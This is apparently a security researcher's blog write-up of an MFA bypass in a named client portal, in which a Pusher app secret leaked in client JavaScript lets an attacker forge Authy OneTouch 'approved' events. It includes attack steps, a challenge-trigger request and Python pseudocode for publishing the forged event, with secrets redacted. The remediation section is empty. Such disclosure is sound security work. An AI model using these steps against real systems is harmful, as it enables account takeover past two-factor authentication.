zaph0@blog:~$ _

2026-07-30 · CRITICAL

MFA Bypass via Leaked Pusher App Secret in Authy OneTouch Integration

Summary

During testing of the CRIMS client portal, a Pusher application secret was found hardcoded in a client-side JavaScript bundle. Pusher secrets are meant to stay server-side — they’re used to sign authenticated channel subscriptions and trigger events. With the secret exposed, it’s possible to independently compute valid event signatures and publish forged events directly to Pusher’s API, without ever touching the application’s backend.

The MFA flow subscribes to a public (unauthenticated) Pusher channel to listen for the user’s OneTouch approval/denial from their phone. Because public channels require no per-client authentication to listen, and the leaked secret allows anyone to publish, an attacker who knows or can guess the channel name can forge an “approved” event and potentially bypass 2FA entirely.

Attack Lifecycle

  1. Attacker reviews the client portal’s JS bundle and extracts the Pusher app_id, key, and secret
  2. Attacker initiates a login or password-reset flow for a target account, triggering an Authy OneTouch push to the victim’s phone
  3. Attacker identifies the Pusher channel name used for that session (often derived from a predictable value — user ID, session ID, or similar)
  4. Using the leaked secret, attacker computes a valid HMAC signature and publishes a forged approved event to that channel via Pusher’s REST API
  5. The client-side app receives the forged event and proceeds as if the user approved the push on their device

Proof of Concept

Request used to trigger the OneTouch challenge:

POST /api/auth/mfa/onetouch/initiate HTTP/1.1
Host: sso.cytonn.com
Content-Type: application/json

{"user_id": "<target_user_id>"}

Extracted from the client bundle (app.js, minified, variable names shortened for illustration):

const PUSHER_CONFIG = {
  app_id: "REDACTED",
  key: "REDACTED",
  secret: "REDACTED"  // <-- should never be client-side
};

Forged event published directly to Pusher’s REST API using the leaked secret (pseudocode — actual PoC script omitted from this write-up):

import pusher

client = pusher.Pusher(
    app_id=PUSHER_CONFIG["app_id"],
    key=PUSHER_CONFIG["key"],
    secret=PUSHER_CONFIG["secret"],
    cluster="ap1"
)

client.trigger(
    channel="onetouch-<target_session_channel>",
    event="approval-status",
    data={"status": "approved"}
)

Two Possible Outcomes

Scenario Impact
Backend independently re-verifies the approval with Authy’s server before granting access Client-side forgery is cosmetic only — no real bypass, but the secret leak is still a finding worth fixing
Backend trusts the Pusher event itself as proof of approval Full MFA bypass — attacker completes login or password reset without the victim’s device ever approving anything

Testing confirmed which of these applies to CRIMS — see Validation section in the internal report for the confirmed outcome and supporting evidence.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N(adjust based on confirmed outcome above)

Remediation

Timeline